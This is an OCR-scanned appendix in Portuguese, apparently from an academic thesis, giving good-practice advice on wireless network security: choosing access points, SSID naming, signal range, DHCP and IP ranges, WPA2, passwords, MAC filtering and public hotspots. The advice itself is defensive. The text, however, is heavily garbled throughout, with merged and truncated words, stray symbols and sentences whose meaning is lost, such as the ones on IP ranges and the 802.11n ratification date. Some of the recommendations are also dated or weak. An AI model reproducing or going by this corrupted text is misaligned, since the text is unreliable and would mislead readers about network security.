criar um guia de boas praticas para a configuraq#tdizacao das redes sem fios. Nesse
apéndice serdo abordadas boas préticas relaciongldamnada as configuracbes no

que tange a seguranca.

1 ESCOLHA DO EQUIPAMENTO

Conforme foi mencionado no decorrer do trabalhoABs saem de fabrica,
por padrdo, com as minimas configuracoes de segur&ssim, é imprescindivel que
certos cuidados sejam tomados.

Na escolha dos equipamentos que fardo parte dasesdefios devem ser
tomados alguns cuidados. Devem ser analisadopasde protocolos de comunicacao
gue sao suportados pelo mesmo.

A maioria dos equipamentos existentes no mercadongativel com os
protocolos IEEE 802.11 a/b/g. Desse modo, compraequipamento que nao suporte
tais protocolos pode ocasionar problemas futurasocancompatibilidade entre os
equipamentos.

Para garantir a compatibilidade entre os equipamsemntecomenda-se a
aquisicdo de equipamentos com o certificaddMig-i Alliance Figura 45, 6rgédo que

certifica os padrdes de comunicagao em redes ssm fi
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4 COF}

CERTIFIED®

Figura 45. Modelo de selo de certificacad/ari Alliance
Fonte:Wi Fi Alliance (2008)

Lqydo

Apesar de nao estar oficialmente homologado, 01802é um padrdo que
comeca a ser utilizado. Esse protocolo prometetituib®s padrdoes a/b/g, pois a taxa
de transferéncia de dados é maior. O padrdo 8024iilira varias antenas para a
transmissdo e recepc¢do, evitando, assim, a pergmades. J& existem no mercado
equipamentos que se utilizam da tecnologia pré-ngual possui as mesmas
caracteristicas da futura norma, mais ainda namatfi A grande desvantagem desses
equipamentos é o fato de ndo haver nenhuma gardatieompatibilidade com os
equipamentos fabricados apés a homologacédo do@abkedtes j4 foram iniciados. A
homologacéo, porém, tende a sair somente no aRo0e

Outro ponto a ser observado na aquisicdo de umpauento S0 0S
protocolos de criptografia por ele suportados. Rer@d com o0s varios exemplos
apresentados nesse trabalho, o protocolo menosréukl é o WPA2. Os equipamentos
mais antigos possuiam apenas WEP e WPA. A maiosaeduipamentos, no entanto,

sai de fabrica hoje com o protocolo WPA2 impleméata
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2 CONFIGURACOES GERAIS

Apés a escolha do equipamento, € aconselhavel radaigumas
configuracdes basicas importantes para a segurgrgacipalmente na parte de

identificacdo da rede.

3 SSID

A primeira preocupacao nesse item é quanto aoifidedor da rede (SSID).
Esse identificador ndo deve ser um nome indutive, ligue a rede ao local onde ela
esta localizada. Em alguns casos, uma pessoa Ieakionada pode captar o sinal,
porém de forma fraca. Se 0 nome da rede estivererafiando o local, o possivel
atacante tera a opcéo de se aproximar para captsinal mais forte.

Outro item importante a ser considerado na aquisiegdum AP é a opc¢éo de
ativar ou nao o envio do SSID pbroadcast ocultando o SSID da rede. Para se ter
acesso a rede sera necessario ter o conhecimemionu® da mesma, informando-o na

configuracéo do dispositivo.

4 CANAL DE COMUNICACAO E ALCANCE DO SINAL

Alguns modelos daccess poinpossuem uma opg¢éao para diminuir o alcance
do sinal do equipamento. Essa alternativa é irgargs do ponto de vista de seguranca,
pois a diminuicdo na poténcia do sinal pode difasula tentativa de terceiros de

identificar a rede.
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Recomenda-se, entdo, que ao instalar um AP o redpeinpela seguranca
defina até aonde o sinal do equipamento deve mla RBao, devem-se realizar alguns
testes, diminuindo o sinal gradativamente até gbhegwe ao ponto de alcance

necessario, nao ultrapassando o mesmo.

5 FAIXA DE IP E DHCP

A maioria dosaccess poinem com a opcdo DHPC ativada. Para se obter
uma maior seguranca na rede é aconselhavel quemssa seja desativada. Com isso,
0s computadores ligados a rede estardo mais piotegCaso alguma pessoa nao
autorizada consiga acessar a rede, o atacanteerdaodm o trabalho de descobrir as
informacdes da rede, tendo assim acesso mais &adigm

Por questdes de flexibilidade e comodidade, é vadamais comum que a
rede esteja configurada como enderecamento autmmatide da perspectiva de uma
rede sem fio apresenta um risco ainda maior deasgr ndo autorizado a rede. Com
essa opcao desativada, qualquer usuario que quasessar a rede deve,
obrigatoriamente, ter conhecimento da faixa dediPrede.

Com relacdo ao IP, deve-se tomar cuidado, também, & faixa de IPs
utilizada na rede. A utilizacdo de uma faixa derl®s comum torna a rede mais segura.

Outra medida importante a ser adotada € a alterdgdendereco IP do
access point Por padrao os APs tendem a vir com enderecos ct®2al68.0.1,
192.168.0.254, 10.0.0.1 ou 10.0.0.254. Uma veauiquataque tenha sido efetuado com
sucesso, e um invasor estiver na rede, esses@efigneiros enderecos testados para
assumir o controle do AP. Sendo assim, a alterdodendereco padrdo é uma forma

inteligente para se agregar a seguranca a rede.
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6 PROTOCOLOS CRIPTOGRAFICOS

A escolha do protocolo para codificar as mensagiansmitidas é, talvez, o
ponto mais importante da configuracdo de uma rede Bo. Conforme mencao
anterior, optar por ndo usar qualquer tipo de ptagéo dos dados permite que pessoas
nao autorizadas tenham acesso a rede e aos dadpsrala trafegam.

No entanto, mesmo utilizando métodos de criptogyaina rede sem fio nédo
pode ser considerada totalmente segura. Mas, seidady escolhendo os protocolos
mais fortes, mais atuais e com menos falhas asbgwmksles de roubo de dados ou
acesso nao autorizado diminuirdo significativamente

Entre os protocolos abordados nos capitulos angsrio protocolo WPA2, é
sem duvidas, o protocolo recomendado, apesar degtande maioria utilizar, ainda, o
protocolo WEP ou WPA, devido ao ndo conhecimenta ¢éimitacdo do equipamento.
Optar pelo WPA2 é o primeiro passo para agregarraaga na transmissao de dados

em redes sem fio.

7 ESCOLHA DAS SENHAS

Na estrutura daccess poingéxistem dois tipos de senha. Uma para acesso as
configuracdes do AP e outra para a criptografi@#a Raessar as configuracoes do AP
via HTTP, devemos informar o IP do equipamento islegao usuario, geralmente
admin e a senha, que costuma ser o nome do usdédomenda-se que essa senha seja
alterada no momento da configuracao inicial, paislguer pessoa que a conheca
podera entrar nas configuraces e altera-las. @dwmigante tem sua senha padréo que

pode ser adquirida por qualquer pessoa por memahelais ou pesquisas na internet.
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A outra senha é a da chave criptografica. E retacia ao acesso efetivo a
rede sem fio. Ambos os protocolos abordados neaisaltio funcionam com sistema de
chave criptografica. Nas configuracbes do AP, doiliker a criptografia da rede, é
necessario registrar uma senha, na qual o prot@eolmseara para codificar os dados.
Essa senha segue o mesmo principio de qualquea. dQtrando maior € menos
indutiva, melhor. Recomenda-se o uso de caractaragisculos, mindsculos e
caracteres especiais, dificultando que ela sej@oblesta por meio de inducdo e

dificultando a quebra pela forca bruta.

8 RESTRICAO POR MAC

Além da criptografia dos dados, existem outros dwfode agregar
seguranca a uma rede sem fio. A restricdo por Ma@ress por exemplo, tem como
objetivo restringir o acesso a rede por meio desg fisico do equipamento.

Uma vez que o endereco fisico de uma placa de medea se repete, é
implementado noaccess poina op¢éo para cadastrar os enderecos dos compegador
gue podem acessar a rede. Dessa forma, apenasnpsitadores cuja placa de rede

estiver cadastrada no AP poder&o acessar a rede.

9 UTILIZACAO DE HOT SPOTS

Hot spotssado locais publicos que disponibilizam acessaexriet por meio

de redes sem fios. Geralmente sdo encontrados d#is,h@eroportos, cafés,

restaurantes, pragas de alimentacao, universideaigs,outros.



104

Apesar da comodidade, este ponto de acesso pymdide trazer alguns
problemas aos usuarios, relacionados a segurascafdamacdes que trafegam pela
rede. Geralmente esses pontos de acesso nao témummeipo de restricdo ou
criptografia implementada no AP. A Unica verificadéita é a de provedores de acesso
a internet. Assim, os dados trafegam de maneindaalfieando vulneraveis a ataques.

Quando estiver acessando a internet por meio diealirspot,recomenda-se
nao executar transacdes bancarias ou outros tgogatmacdes pessoais como e-mails

€ outros.



